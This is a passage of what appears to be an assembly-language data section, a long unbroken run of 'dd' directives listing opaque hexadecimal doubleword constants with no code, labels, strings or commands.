0E217FBEh, 2DF20307h, 0C2F79BA7h, 0D056ED30h dd 7510EE51h, 7EF51952h, 4F6D498h, 6A5BB5F0h, 2872C2E3h dd 0E03CCD57h, 9405C557h, 6F8AC12Eh, 30488507h, 372DBC30h dd 0B55E021Eh, 0E93F9F11h, 6D2D2C5Eh, 726C004h, 2807F784h dd 0C545BF71h, 692C761Bh, 465E4CD4h, 0BC1D766Dh, 0F74061F8h dd 0EE8FFAD3h, 0D8C8BF92h, 65B5019Fh, 5D2D8810h, 190C980Ch dd 8C5E002Fh, 0ADD76324h, 1200F185h, 0A597CEBh, 4EE664EEh dd 8DD0D17Bh, 8FB0570h, 803C5340h, 0BD8F661Ah, 5A23B049h dd 4ED8A377h, 39A050A6h, 3D12DF5Ch, 64BCDD2Ah, 264E65Fh dd 8CA36B93h, 0C0BC5650h, 0D51AF0DDh, 68F40A5Eh, 72CC7EA9h dd 0B049BD62h, 38E22B10h, 3830E1F2h, 0C98E5F47h, 0BF45E098h dd 0A5C4653Eh, 3CD89013h, 3B1EB09Fh, 0CA07B163h, 89B41583h dd 6E6C815Dh, 0DB2B8FE3h, 0C462C0A4h, 0F6884CFCh, 27517C54h dd 0D86AF7h, 4578CCBFh, 0A950E46Bh, 0A66460B5h, 0E5C4003Ah dd 0E1CD5691h, 0B58A81Bh, 0E4A22A30h, 0CE02BA06h, 2D49959Ch dd 0A866FB03h, 0FF825A73h, 4EBA8024h, 63145403h, 2592A50h dd 0C32DCA41h, 10503291h, 4814CE50h, 0EE40158h, 85DE7EE0h dd 0C88CEC0Dh, 427607E4h, 403CF7BBh, 7FE18195h, 3892500h dd 139C850Eh, 0BBE8304Eh, 36FCF840h, 1481F721h, 0BD01349Bh dd 0AA493426h, 0B0A22AB3h, 0E9627B02h, 887E9830h, 1A05FB90h dd 0FFEC755Ch, 0FE035C05h, 0CAF08066h, 42F8FDD9h, 6CF27AE0h dd 82EF0F09h, 43F4541Fh, 2900EB9Bh, 0A2E9B571h, 1604CD27h dd 0AD28840Dh, 40E2230h, 993DC903h, 8368B81Dh, 250AA162h dd 10C4FEA9h, 6D6E10E3h, 3622863Eh, 69F1151Ch, 0FB04BC06h dd 9638E56Ah, 103B688Ch, 0A4C49D0Eh, 0C26CFC65h, 7000D6F8h dd 24CB1EA0h, 27243CFBh, 0FC256C56h, 8DF54028h, 60BFA782h dd 96B16AAAh, 746C2608h, 711E1F46h, 4EE06A49h, 0C7949A28h dd 0BED04791h, 98CD6C3Ch, 0B818B74Bh, 5107721Bh, 0C5AD1A24h dd 8B0AABE0h, 93CFC8Eh, 1FD34BEh, 2A0030C4h, 0A1D3B661h dd 1E04B8Dh, 0E262EBC0h, 0C0F90887h, 73010AA3h, 64E48FA6h dd 0C0404626h, 136C19D2h, 0BAB3EF88h, 0A000C86Eh, 584A3A7Fh dd 9F007081h, 0F34687E5h, 0B5F05BB3h, 0F8D6AC10h, 4D4DF80h dd 0E49BF5B5h, 284BEFA3h, 0DC945EAAh, 3E552000h, 0ABC03CFFh dd 0DDDC047Dh, 0F1C264C4h, 0B8382D54h, 0A84495E2h, 5552731Ch dd 0CBD9811h, 6812F858h, 0B401950Ah, 0BF430741h, 413EBC70h dd 84332B53h, 759AE9CEh, 45F3E024h, 0F93030E4h, 0B21F237Fh dd 0B01B6B8Fh, 0A6B1C208h, 9810B5ACh, 4AB21210h, 9D9CB998h dd 972DF440h, 5F39026Eh, 2594F7F5h, 0E0C4F6DCh, 3522DD18h dd 891BA503h, 0B8F87C23h, 261EAD03h, 62A4E5CCh, 3A555C6Eh dd 40D85EB4h, 8C2C413Bh, 0EAE45A79h, 0F12B281Fh, 0A8A7982h dd 0EC105CE4h, 0EC5B3291h, 1A04687Ah, 400D9BB8h, 0FE28F0E1h dd 8C311FA8h, 52FC8390h, 701F0B3Dh, 4E978D2Ah, 0B22F30F1h dd 1B909D64h, 7684F60Ch, 120131F9h, 652786A3h, 282E8AA7h dd 0EF5A8360h, 73807CDEh, 4326D868h, 1CB05A4Bh, 4B831765h dd 0E1F0A614h, 0E63008D3h, 0F95B009Ah, 73805103h, 19793A4h dd 0F06460A4h, 13AAD855h, 0C86EFA08h, 0FDF1EE0Bh, 13910056h dd 0C9B48501h, 2E5F63A5h, 0F4777031h, 5F7C66C0h, 4ACF245h dd 98B6B1D8h, 68F6240Bh, 4ECEED60h, 0D8229DD4h, 2977E68Dh dd 0C1CC8CF0h, 51072F86h, 0B5907CC0h, 34C649Dh, 0D3FAA40Dh dd 0B8BE021h, 18F52FC2h, 9F2D771Ch, 93FD8C84h, 201214E4h dd 78207DAEh, 3F47E3F6h, 900430A4h, 0FC269842h, 0E84908ACh dd 0F8F12531h, 291F5500h, 0EB5EF08h, 62961951h, 0AE33EA20h dd 73338F10h, 0C5BB8185h, 0F1F01C89h, 0E61D4ABDh, 0E65CB050h dd 0E0E6BF4Eh, 0E484459Dh, 0AC5560E7h, 0CC6E019Ch, 580A1020h dd 54887F79h, 0C8189F14h, 72EAC33Bh, 57381D98h, 62FD0CF7h dd 0B7108125h, 0A6633C90h, 4E8CB500h, 0FAC96978h, 7852262h dd 5037AD2Fh, 0F04DB520h, 4CE93C3h, 0F4B5784Eh, 0DCD0B891h dd 0AA25BFC1h, 0E12F192Bh, 949E6B48h, 0A6D01CC0h, 0D22A4D9h dd 7F6A1DEFh, 0BA689D0Bh, 826C84CEh, 405A6554h, 71D489BFh dd 18FEF118h, 0ACA80E05h, 0C936C6BFh, 0A73DDCC8h, 0B000887Bh dd 9D8DF4FBh, 0F0897D98h, 78030339h, 0ED13EE04h, 0C4508A9Ah dd 1244D09Dh, 0AAE332CEh, 0A8CC5475h, 8BE2FAEEh, 3CF2F9E2h dd 2D0C1095h, 0FB110322h, 968249D4h, 0DCB07B90h, 9805782Ch dd 0FB3F00DEh, 4B98C67Dh, 1627AF54h, 0BC8C4EC7h, 3D465668h dd 0E46FE13h, 0FAA23854h, 0A4F6EFA7h, 93DB00DCh, 0C89DBBDEh dd 0EA04F849h, 0F95274DDh, 244B2341h, 18C86BB3h, 0A570008Bh dd 81C4AC42h, 0B4012ED1h, 4D0372E9h, 0B2C5E8DEh, 0D6E24031h dd 567493F8h, 75FCF044h, 81525D16h, 8F263041h, 0B16A82EEh dd 4312E74h, 476AFC03h, 0E0E250C0h, 681B9EEEh, 3A9D3B16h dd 410AC11h, 0D1B31828h, 0AA05C0E8h, 0BA3D3B3Ah, 4605046Fh dd 0C19867CAh, 256526Ch, 6C52ADh, 7CA57627h, 5B2F5E3h dd 1FE46D00h, 0CB852B1Ah, 921C091Dh, 0C4D1827Dh, 0BE082C2Ch dd 1A853B59h, 8CC0635Ch, 0D2403A04h, 0F7FF5A48h, 0BCB64F6Ch dd 3676A7A0h, 45039F01h, 5429DEE0h, 0A5137FE8h, 60E8C428h dd 450DE84h, 0F71CFD54h, 4B7CAD99h, 7A0470E3h, 0AAF072B2h dd 11027C8Fh, 73108093h, 0EBE4045Eh, 0C094DEEFh, 0BDB5D79Eh dd 39AB1641h, 9408AB94h, 0C69B0CF1h, 45126EC9h, 3BFE7926h dd 74CBE4D0h, 0FC0E888h, 274098A7h, 0DCF6A92Bh, 0A3D54ADCh dd 4A24A6Ch, 2E51BB8Dh, 899DE828h, 0B4777EDEh, 1D21E624h dd 4B130032h, 4D7219FBh, 6029100Ch, 0F74D2A70h, 7CF15FE8h dd 0B0DCA73Ah, 7F871EC4h, 0D879024Ah, 0E67405EEh, 3F05F870h dd 0CCDA89F1h, 5FDDCCCCh, 0C84CCEFAh, 5DEBC209h, 0DC4EC54h dd 0AABA0540h, 85006D38h, 0F0C5E289h, 950BD56Ah, 0EB644867h dd 0FA20BA60h, 94C37C2Bh, 54B02509h, 0B5FDE934h, 518C0118h dd 7A326D6Eh, 3CB76012h, 0A878F94Bh, 0F87AE412h, 2BE0E3Ah dd 79E1531Dh, 2AE40E6Ah, 92F4549Dh, 0C0A2BF52h, 41D7EC23h dd 6E00F884h, 1315E620h dd 7F88E20Eh, 0F39DD00h, 43119364h, 0F4CDF612h, 0A8D200BDh dd 0FAA1D882h, 68B2B172h, 78A3104Ah, 81749B4Fh, 0DC6B28FDh dd 43789E4h, 73E0FA51h, 0F7175D03h, 846F74C8h, 7640749Ch dd 6BEEF2h, 0FB0F642Eh, 0BBD7CBC5h, 5852C802h, 541B949Fh dd 8386405Ch, 0EC008106h, 0F634D5A0h, 2C70878Ah, 25A0ABC4h dd 0D1E918FCh, 1934795Ch, 0B464B3DCh, 0FE3F4034h, 7025162Ch dd 0A4A07333h, 1C465C4Ch, 0EF3C0D03h, 0AA9DF2EEh, 0E68DF070h dd 0B5CE40CAh, 0C64038BEh, 1395B5Ah, 4A787C26h, 2EF9478Eh dd 83E048F6h, 0DF75E218h, 0EC5807F6h, 42E616C8h, 50C7ACA9h dd 8011602Ah, 162D8986h, 0E2508FF4h, 5527B3B7h, 241DE845h dd 0D18C7B25h, 11C5C8B3h, 58444248h, 0F9B11B4h, 33E12300h dd 0A87B709Eh, 6E04350Bh, 40D0DC9Fh, 82DD0DE3h, 9A389200h dd 5B878880h, 2553733Eh, 60DE2720h, 169C8D94h, 0C4D083F6h dd 4AA9527Dh, 0B4DCA8E4h, 5A81CADh, 0FD25E8B8h, 9D94CE36h dd 6E0B50E1h, 7991DC49h, 1A26804Ch, 13400450h, 0E2553898h dd 4E62FACh, 0BE30FCB2h, 48202FBh, 8A366DBh, 443C94F8h dd 24933852h, 87050F58h, 4A8FACEh, 9AF6E305h, 0F07BBB25h dd 5345270Eh, 0B8969AE4h, 6076CBE0h, 0D2BA73E4h, 0B8D8FD30h dd 446F01D9h, 0C8BE387Bh, 0FC2C2EB9h, 2E0E048Ch, 0EF10F0D7h dd 0E4C804CBh, 0F2D4CCC0h, 5C6801BFh, 571D5497h, 0F1062AFh dd 430CA533h, 88EAC965h, 33D0514h, 0AD97C0D3h, 57E079CAh dd 0A1E272BFh, 0C0902BFBh, 28F7C131h, 0C4B28Fh, 18648497h dd 0F83AE6EDh, 1386E95h, 877EA885h, 2BB5418Dh, 0D0880012h dd 7CC001D7h, 0F173FF35h, 60E8C48Eh, 6FC021F7h, 2880349Bh dd 0BC2F400Ah, 446C0525h, 0C4D480B0h, 95467144h, 1478C427h dd 9C6FAEAFh, 456E5E0Bh, 8DACA05Fh, 0B51D5ACEh, 0DB95F44Ch dd 0A85B5068h, 408CF09Dh, 3EFC265Ah, 8B4BB901h, 9A8A7887h dd 1354057Eh, 1CC8AAB5h, 0B7DA002Ah, 1A85860Eh, 192763D7h dd 1D8FAA5h, 0C48C8F13h, 2B7FD67Ch, 0F64F94E2h, 13D3E094h dd 5CCB587Fh, 2C4CFC09h, 1D34BD55h, 0C28EC104h, 2E1CFD24h dd 6D23C86Bh, 46C5D200h, 12C7B64Ah, 0ACAA6405h, 0CC73C084h dd 97A110EEh, 0A070005Bh, 23310978h, 0B8738054h, 0FB052291h dd 971A9D72h, 527301B0h, 9C5EC2A5h, 8AC5E188h, 0B8ACF70Dh dd 39847180h, 0DAE937B2h, 0C8B1AB01h, 1152A2B4h, 0CD01E463h dd 68C1D877h, 105CF236h, 0B9C0F927h, 4DB10C30h, 6403B057h dd 8C8D8370h, 0C651A840h, 0E9A12D4h, 876CE3C3h, 0F0AB8F41h dd 96CE1380h, 8C70FBE1h, 0E33593h, 5024420Fh, 0D3C47A9Eh dd 6D9FEC92h, 6557C010h, 0A2018479h, 0CF0D94E5h, 8700D226h dd 0E24AD84Ah, 2B973CB2h, 6E2384h, 0FAC974DFh, 340944B0h dd 59F291D3h, 0DAF0958h, 5D524056h, 0EA40CC6Dh, 1AA6F7h dd 0E8D5BA78h, 6B608142h, 9B1460B9h, 8F4680D0h, 0F2E3EF9h dd 52C52A4Dh, 0A24CD4Eh, 3F34A30Fh, 77ECAC7Fh, 9258562Dh dd 48D0E2F1h, 0F9C61208h, 924A7CD1h, 781DBCC4h, 93650BD3h dd 0D40F10ADh, 0DE48E092h, 44406C95h, 6EE89659h, 0CE4654Bh dd 0B00358A4h, 3F7BD301h, 0F1EA972Ah, 2C803A01h, 9514340Eh dd 10C43C69h, 950A7BE0h, 65893053h, 358900DFh, 9604EF8h dd 70CB9475h, 0DE859683h, 2AB857C9h, 206E50C9h, 0A1C9AA5Ch dd 3E760C7Ch, 948FE22Ch, 5188D500h, 58C48B64h, 0E154416h dd 5300B0E0h, 0EFCFD81Ah, 6D0045FFh, 0AB117228h, 4A1E7F2Ah dd 5BA0A873h, 0F5FD1020h, 7A3E6BEh, 9B8CA8B8h, 81E0269Ch dd 21E92300h, 698E119Dh, 39CF00E1h, 20625B98h, 88EA3154h dd 0B0535018h, 27CE9564h, 0B0023A44h, 40C0BBEFh, 8F805052h dd 38E49DA2h, 0F76ADC01h, 76ADB44Ch, 0A76C1A10h, 38FD6B2Eh dd 27645208h, 131D00F6h, 0E092FE5Eh, 0FC4822FBh, 0E520EE8Ch dd 0B291F216h, 4D0F54A8h, 578CF735h, 0A8A49C59h, 4EE08D00h dd 65FE012Bh, 0BEB60069h, 0DE77B1F2h, 5600E364h, 43A486AEh dd 0A04BAD2Bh, 0E82A5C4Ch, 956227FDh, 0A9425CC0h, 0C4A41197h dd 2264EC10h, 2116B42h, 930674F7h, 519D6E91h, 0F37400D9h dd 0A3293520h, 309726EAh, 82DE46A0h, 2CDC5CFCh, 0B28D7E9h dd 0D4F41A3Bh, 6F4674h, 92D62A1Eh, 10ECF91h, 0E6665130h dd 2A68027Ch, 2B4BD0CBh, 0FC23A4h, 73F5E852h, 4400DCA4h dd 0AB66199Bh, 4B5E23F1h, 1D1C0B4Fh, 0CB601C4Dh, 2D94E26h dd 9287339Bh, 4C7B1A11h, 0BA18E58h, 846D679Bh, 4DCA8DCh dd 5D8F7BEBh, 87BBFF0h, 9C8ACA00h, 1233317Dh, 2027384Ah dd 0D7B2A8D1h, 0EA78F7C4h, 0E44416A2h, 5DC0A8F6h, 76ECE8D0h dd 5F41003Eh, 11DEBD83h, 955AF193h, 0BDD6C4A6h, 0F7BA8B4h dd 0F301E0EBh, 84764ACBh, 0F12412DCh, 9C04EBF7h, 0B009E9E2h dd 0FEA412FFh, 0DF04DCD4h, 99CB97FEh, 468C62AEh, 0EF2ADEC0h dd 550C9A97h, 74A58497h, 0B712D438h, 30F13B4Ch, 92A0E22Fh dd 9B4F8CADh, 0E06A80A8h, 0C8CC556h, 0B5EAD436h, 0C4B5D968h dd 0DCB0B60Ch, 974A5201h, 271E23F9h, 6E3C302Fh, 0E995B66Dh dd 9B3B92F0h, 4DA983FCh, 58C1BD7Bh, 7C3CEA7Dh, 8CF8F24Fh dd 4BFD59FFh, 0D620B572h, 5F486E55h, 88908F8Bh, 8DD2C00Ah dd 29732FEh, 0D5731D7Ch, 0B3EDEC39h, 25E62831h, 106485A1h dd 0A2AB641Eh, 0E02E0600h, 4C3491h, 7ED5A9F0h, 0CE45E90Fh dd 0F870D616h, 56AA0502h, 270C5E2Dh, 19C08CCDh, 287D80DDh dd 2DA08221h, 5C2F500Eh, 5A25EF28h, 4625E4A8h, 0E08A24E4h dd 0DC1CFEA5h, 3B227100h, 0B6153110h, 90F09FFCh, 2F58CDB7h dd 0FDFACFF4h, 0DF0BE6CEh, 0D78D2908h, 85335020h, 59BF2099h dd 0BBFB1736h, 0DABBBD12h, 6F47C031h, 2FABA8F6h, 0F6762F40h dd 72D0A347h, 0E990663h, 98EB699Bh, 0ABE1AA03h, 8B016C8Eh dd 0E38166FEh, 0E27E19BFh, 3FF0EB9h, 0BB811F1Fh, 5250E64Ah dd 6C4A37Eh, 8B5F6160h, 287C958Fh, 0B8CCD4Eh, 0DD6C5EB8h dd 1400B729h, 0C432BF58h, 2FFF4884h, 6A745995h, 398C891Dh dd 1F850D14h, 0DE79F5Fh, 0D8A2DE8Bh, 0E9104B7Dh, 0BB000187h dd 233CA21Eh, 5763858Bh, 83C7F52Fh, 2B810618h, 5409A1BDh dd 5BB58B11h, 8F0F500Ah, 0C85D4993h, 108073h, 7813BD18h dd 0BA6B39CDh, 3BA8E6D6h, 0EF069B65h, 0E8805CDBh, 8BFD8ABEh dd 27D19D19h, 2CDD8595h, 0D7810C80h, 43F0EDA3h, 4468912h dd 0D10E066Fh, 1141A59Dh, 2A503BABh, 240052F9h, 5C7405F0h dd 0A202655Bh, 2CBBDA97h, 0BB60FDE6h, 0FE14BF0Fh, 80A7B5FFh dd 0EF47DB81h, 0E53481Eh, 7588EFB5h, 0EC3000C8h, 5398A4BFh dd 4A064302h, 0EACC61C7h, 7D064482h, 1C8F5904h, 1E89635Ch dd 0C2EB85D3h, 0AD63F124h, 2261F8E1h, 0EE85E19h, 5D83D18Fh dd 4ED012AEh, 6E003643h, 3ED472DEh, 17568C5Eh, 0BF52F1BDh dd 10FD7D0Eh, 49258D24h, 0C082ED75h, 4BF58D17h, 51D85A12h dd 0E00CAE30h, 25D70084h, 0FA55919Dh, 8B02C0C5h, 906E42AFh dd 5A1580E8h, 0A568B1h, 0DB39DDBAh, 0EAFEC251h, 86D6B600h dd 1AFABF66h, 90FF9D5Fh, 0F51419h, 8380DECCh, 3EBB9058h dd 49846200h, 0EB9468BFh, 149F9328h, 15B86F61h, 588F038Ch dd 30FD85C7h, 8B1F4840h, 1615BD1Ah, 12B5C214h, 84F082A2h dd 0CD42A10h, 0E9262461h, 0B7172062h, 50E4A09Bh, 0E0110C30h dd 1E01E644h, 0B410E8C1h dd 4C25830Eh, 835803F0h, 7504E903h, 7736EBE7h, 0E648136h dd 1B8C857Bh, 0D0282950h, 58331821h, 57420113h, 0DAE8681Bh dd 750DBD09h, 231D0E8h, 0A9B7DAEDh, 5410189h, 9C10DEA5h dd 858DDEACh, 0A67B4DECh, 1F6FE076h, 2702298Fh, 4DBF66C9h dd 0B1202F90h, 5FE5A117h, 0D49BEE15h, 3140C39Ch, 0C74CB185h dd 2B351062h, 675DFE40h, 56956B15h, 51640C1Ch, 9CC1FAFEh dd 80AF53B5h, 0DE537Ch, 0C1A67907h, 0F460C5DAh, 6C7E6A0h dd 4D701B0h, 2B06EBBh, 4ED3802Bh, 0CF534496h, 0EE17DA08h dd 0F410A146h, 8102E2E0h, 4AA64A61h, 0EC73FAFh, 77D195A6h dd 520E20FFh, 3059834h, 0BB96AD83h, 0DE2DA30Ah, 25DE32A6h dd 0A0FD70B3h, 48B8A7D3h, 2F601D06h, 0D3FB8550h, 73C88424h dd 329A80CEh, 0C61D46C1h, 998D8900h, 860DC619h, 0DBBF53C4h dd 43B17142h, 9593FAB0h, 881D58Dh, 83853954h, 0DBFA04C2h dd 0F38A83FDh, 891DB076h, 24205850h, 0FC544C7Ah, 0E0B3841Ah dd 0EEE0A46Dh, 0F8874610h, 2878BFA2h, 89169929h, 1CFCB810h dd 3B360F8Ch, 0B88195ABh, 0A9F090BFh, 55800D48h, 585DAA84h dd 4EE8241Bh, 0F18ACC3Fh, 8DBC1048h, 0E92E0D45h, 9EAC7Ch dd 1DAE6E06h, 507BC45Bh, 0BE89BB3Bh, 260B5D25h, 46DC24F9h dd 391F001Bh, 3DE5A535h, 854484Ch, 65955862h, 576D42FDh dd 0C958B2FBh, 74E8CAh, 0A9AEA272h, 0D88BF8B9h, 9290E790h dd 0E408F910h, 403D308Dh, 29FF3F2h, 12E9669h, 10DBF00h dd 0ABFA1092h, 0C09065D0h, 0E38400ACh, 5681E2E6h, 4000EA58h dd 1ED8C1B4h, 6FB724Fh, 0B99589EDh, 5F4D6C1Fh, 0CB1CB916h dd 7FBA018Fh, 9451354Dh, 0F0D23BCh, 138B032h, 3B7E53F4h dd 29C5A241h, 0BCA9A93Ah, 6F892638h, 2CA51CEDh, 7155721Ch dd 0E5EFF811h, 0B75FFF00h, 2769BBA5h, 0AC6862EAh, 0B4C41971h dd 30141D2Eh, 28312543h, 45D5020Ch, 0A5B27F48h, 1FD6B102h dd 0CC60BCECh, 5B802421h, 92E30481h, 0C27DA5C1h, 0E4CA9161h dd 58EE7355h, 5526B484h, 3D084FAFh, 20C61802h, 0D0BFEB80h dd 0C3E56D04h, 0B5826039h, 1C11CD22h, 6FFFF40Ch, 7DCE9F6h dd 8261E591h, 80830487h, 2AD9BD64h, 49507C97h, 0A88978B5h dd 38C148E8h, 45F20440h, 0BB5BA246h, 204A1CE2h, 8CCE9B14h dd 107EA600h, 5538BCB6h, 604B12CBh, 0DFDD0590h, 7B9C8750h dd 1911EB1Dh, 5A181780h, 0F04ACE77h, 4EF026AEh, 0E0C0BB07h dd 5D794FEFh, 72C0254Dh, 0E4DB1B79h, 0E503500Dh, 0BB069615h dd 44E89796h, 4F183540h, 200F3C0h, 5053E2A6h, 5BE01DB7h dd 4515D5Fh, 0EA240489h, 8DB0A5B6h, 252A9D29h, 0B44B22Dh dd 0E51C00C6h, 0F02B76CEh, 6034DBE2h, 0B6BFF4AAh, 0D9CFB000h dd 4334003Bh, 122C414h, 852B9BDh, 0B50904ACh, 0B6BB266Dh dd 8D3113B5h, 0C45E9197h, 7149E7Fh, 204D80C0h, 0B51E7EC5h dd 2E005396h, 0FFACF3A8h, 910F78D1h, 9D33032Eh, 4C012045h dd 41CBC381h, 0FC2A476Bh, 110188EBh, 7152247Eh, 1428203Dh dd 0CD026A5Bh, 0FA13A117h, 60311631h, 585A0541h, 374BA37Fh dd 0E9F21261h, 0AD7E2012h, 0DE0080A3h, 77A06DECh, 1D47814h dd 4E0D516Ch, 2B90941Fh, 93AC82ADh, 5CA8F109h, 4DEB574Fh dd 42980DD8h, 0AD0049FAh, 47248D34h, 731A9F7Dh, 0D44A59EDh dd 4D510096h, 0ED9E923h, 500D7C97h, 558297A7h, 0F504BD7Ah dd 60EDBC0h, 0B1BCB6BFh, 7F20F4CEh, 0E7812568h, 61B7FFh dd 0F8061B3h, 0EB9CDEB7h, 0D3F28E60h, 6641244Dh, 0B5F7A596h dd 4881B897h, 0DF8020ABh, 9BC820EFh, 0CDAFF54Fh, 0C3DE3076h dd 0D7789827h, 1BA07BE6h, 7C970131h, 0F15552E2h, 2DDEF8AFh dd 0BDBC5100h, 12C484AFh, 816001B7h, 0A1F971C7h, 0FDF9602Ch dd 0BE4D194Eh, 4F912FFh, 0D0B5839Fh, 19204E26h, 50B17468h dd 332B562h, 0B69F8908h, 1AC2AB71h, 32AD1241h, 1701014h dd 31B0F91Ch, 322615Ch, 0E2EAF4E6h, 71487AE0h, 14952CA3h dd 566316ACh, 0B29CF80Ah, 78742501h, 426A86D7h, 40519C5Dh dd 415C5A07h, 2856700h, 98BE1975h, 0D00E015Dh, 0B60F5FF0h dd 41D630C8h, 0C4002841h, 97F3FFF7h, 392625Eh, 0C4CF94EEh dd 0C3778C57h, 0F5F31F00h, 7F6F06D1h, 97980128h, 0F04E8C1h dd 0B214089h, 43BAC99Dh, 0D70030A6h, 0F990FEC8h, 1EF7661Ah dd 0AF2BF8E2h, 3460AAF4h, 53BEE3Fh, 698E36A3h, 0C82AC429h dd 91A0D19Dh, 57821459h, 32000B71h, 0DAB2779Eh, 3B6B03C8h dd 2D33948Eh, 7E50E899h, 0BD13FDF2h, 7C90ABA8h, 56E1DD3h dd 615F50BBh, 0B78BB4E9h, 2A43835Ch, 76C49339h, 0AA5217F9h dd 9B85788h, 1030783Dh, 9F856877h, 371C00D8h, 0D181B70Bh dd 0E8014A7Ah, 836AB267h, 5560610Ah, 2C769007h, 495E1C19h dd 8AD09B80h, 3B751097h, 730BF2A1h, 44753E4Fh, 0BB17D245h dd 7F683CC9h, 0FCB87B80h, 0AC676FBDh, 8352F3C4h, 84DA60E1h dd 0AD0E8A27h, 0A57F132Ch, 80FE24A0h, 56B7F324h, 291D8021h dd 1F30D988h, 32373931h, 8D8F0875h, 8B0489B5h, 62E60078h dd 0BC15DF3Eh, 0F5BD044Eh, 0C7B6BA1Ah, 40394450h, 8F4B92Bh dd 999DEBC3h, 0E1991227h, 0C856CBFCh, 6072C614h, 4A225920h dd 7C6BBBFCh, 6B3C902h, 0F8606869h, 2B25F9A3h, 307B7C0h dd 0FFCE8C56h, 23B86890h, 8D58CA0h, 5DC2BA81h, 46D05453h dd 0B33F176Fh, 89EC023Ch, 0E148A5BDh, 0C23233ADh, 0D2D052D1h dd 24F4679Bh, 2486B49h, 0D801999h, 8CF69588h, 922307F4h dd 893B1F7Bh, 7E9515E6h, 7B03D6ECh, 575AF808h, 71B2101Dh dd 657D5003h, 7BF2C40h, 64CF8FEBh, 0E1C2C750h, 0BCC10318h dd 0FDD97408h, 25635819h, 8A301CA2h, 0FF9B01D7h, 7D4C7475h dd 35877086h, 4C22214Eh, 0CCF524A0h, 0D002B4Ch, 29596F10h dd 4192051h, 0ECD9D6B3h, 0C13EF5B6h, 9533C460h, 66DA0954h dd 0C328AEFCh, 0C120CD61h, 0ED70EF1Eh, 0E4C6930h, 60A44DD5h dd 0A84574CCh, 0F91B5013h, 0F7ABBD34h, 4DC4C54h, 0E1FF53D3h dd 0B0A4F6BEh, 0B09651C7h, 0BF134E0Ch, 66F62565h, 5BD3309h dd 6C5B3941h, 13ADD1B8h, 0F9880454h, 128F521Dh, 5D450120h dd 67B89169h, 50CDB5Ch, 34E65A06h, 8611FAB7h, 67E928F7h dd 659A4E07h, 0D143D28Bh, 0FEACA1BDh, 2D5AAC8h, 0BA326D16h dd 0A5836084h, 8CA02EFCh, 8030F5D9h, 2C788E1h, 310CFA4Ah dd 0AAC4C90Ah, 12F73201h, 2EA71311h, 0AC12FD5Fh, 8882502h dd 0A9935666h, 0E82AAA79h, 6BBB4AAEh, 1A2D0F39h, 3BBEF53h dd 5F133643h, 0ACCDFD48h, 572100FBh, 7BD01F2Ah, 515027C5h dd 6B095AA9h, 595B4C10h, 25BF6082h, 0CAA05037h, 0AE95FE8Bh dd 1C761187h, 0C122BE31h, 585A64FBh, 70672A61h, 6BA8C774h dd 4013E884h, 3972F59Ah, 0D8210002h, 708C20FEh, 0F203C36Bh dd 97CAD5F6h, 3D820432h, 0B6585FDDh, 3AE2E001h, 9588C460h dd 0C05097E1h, 38BA615Ah, 1898C21Dh, 191285A8h, 0CEB63D90h dd 62B13A46h, 0FD5660FFh, 84870C5Ch, 0F1AD3095h, 0E49AFED2h dd 50E02FC7h, 0AA746B83h, 0D920FFB0h, 0B2E91C04h, 375D2501h dd 2FDE202Eh, 8609D59Dh, 0D5252F59h, 820F5B37h, 4CE3F2D0h dd 0B380125Ah, 1D726249h, 38561216h, 0DF015DA4h, 689DD63h dd 3B86579h, 0EF014F02h, 6C290271h, 348F950Ch, 7544FA29h dd 292ED72Ch, 5BCE7000h, 120E335Fh, 1796DA4Eh, 0E857207Bh dd 6701EB8Eh, 1FD771Fh dd 13DC2F8Dh, 6D1212AAh, 968A1476h, 3CCF184Bh, 0E19C0DB3h dd 9DDB9698h, 0EAB7F4B9h, 0B4B556FFh, 7D3018A2h, 693D12B0h dd 19350635h, 0E8A5E423h, 0C4BA6080h, 457C9FCh, 0E176B966h dd 2403A861h, 0B743DCDEh, 5188C6D6h, 0BAA8D752h, 7B5C9DA1h dd 889BC343h, 7D4E8A33h, 525A559Eh, 3AB92Ah, 0EB294377h dd 42798D8h, 0E9D12B9Dh, 93F14011h, 0B8EB38C2h, 55651CA4h dd 97D80076h, 0CA9AE530h, 0D2C4FB90h, 6AB91C89h, 9C6D2D2h dd 0D810C020h, 0C4080407h, 0D60FB4D6h, 0E9A5C2BDh, 8CB525h dd 0C2F1CD20h, 0A0053EDEh, 61F5C71Eh, 0E8C00B9Bh, 4252BB66h dd 1B250592h, 0A545C599h, 4843A05Fh, 0A6D23Fh, 7923C2D4h dd 62C5CC8Ah, 10FF5648h, 5F380D21h, 4E90CACAh, 0A6C612ABh dd 0CE51E1EAh, 44C9D120h, 0ED20BD10h, 21E9251Bh, 9559AC4h dd 7D3A2BB0h, 0C0289BE4h, 0C4E928A6h, 97D0EE1h, 31498D89h dd 0E0306D75h, 90929612h, 75981497h, 0F4299616h, 54EE304Bh dd 0D824EE68h, 4E5580Ch, 0DEFEF69Dh, 61C56504h, 0F2AF8E0Fh dd 27D1716h, 0C159A4CBh, 0C2482ACh, 65082C88h, 890B1D11h dd 0BB7317E1h, 2753B7A5h, 0B34C2A7Dh, 97105667h, 161552Eh dd 0B73BD212h, 885043B1h, 121969DCh, 96F0E25Bh, 2180D5DAh dd 8A5DBC71h, 9020C84Ah, 3D59CFCDh, 6A0116C9h, 17482FA8h dd 19BED493h, 9684710Bh, 988A878Ch, 0A5087B99h, 0A044506Dh dd 714D59BCh, 27DA8B16h, 8CE88553h, 4400DE78h, 0BA7F7122h dd 7535E4Fh, 0D58CF388h, 0BF3C9C98h, 39B430Ch, 0CBB421Bh dd 41695A38h, 964C5B4Ch, 49FD3F22h, 8C1BE80Fh, 0BB6C3600h dd 97AA260Eh, 9D2AB112h, 0C28DC00Ah, 0B38F3662h, 134B0C00h dd 2BEA454Eh, 322FE774h, 0E5B1F836h, 80216C56h, 52109AEBh dd 2F5E09F3h, 137B5B2Eh, 0F80DC425h, 966BBAF8h, 0D97E9DEh dd 39801711h, 1665C31h, 32C98512h, 16A212F6h, 664A030h dd 559589C0h, 502CBB23h, 5BDE5C20h, 8CE9200Fh, 820039F2h dd 943AA8EFh, 91C084Fh, 0E00A8A87h, 520C0C84h, 3CC889BBh dd 54E3D2E0h, 8AF9EE50h, 46D6325Ch, 7665001Bh, 5A28A190h dd 9FC13A7h, 52D6D6BDh, 0D98BF512h, 15B2F6B6h, 0B9E03D30h dd 247E8E89h, 224E0641h, 506B2FE3h, 19041623h, 0A2EAEE4Bh dd 449627CEh, 0D02B0071h, 0FCD1AB17h, 9D0E3384h, 668BD3DFh dd 58E0505Fh, 11135096h, 0F289B613h, 5B38301Ch, 0A0EB9101h dd 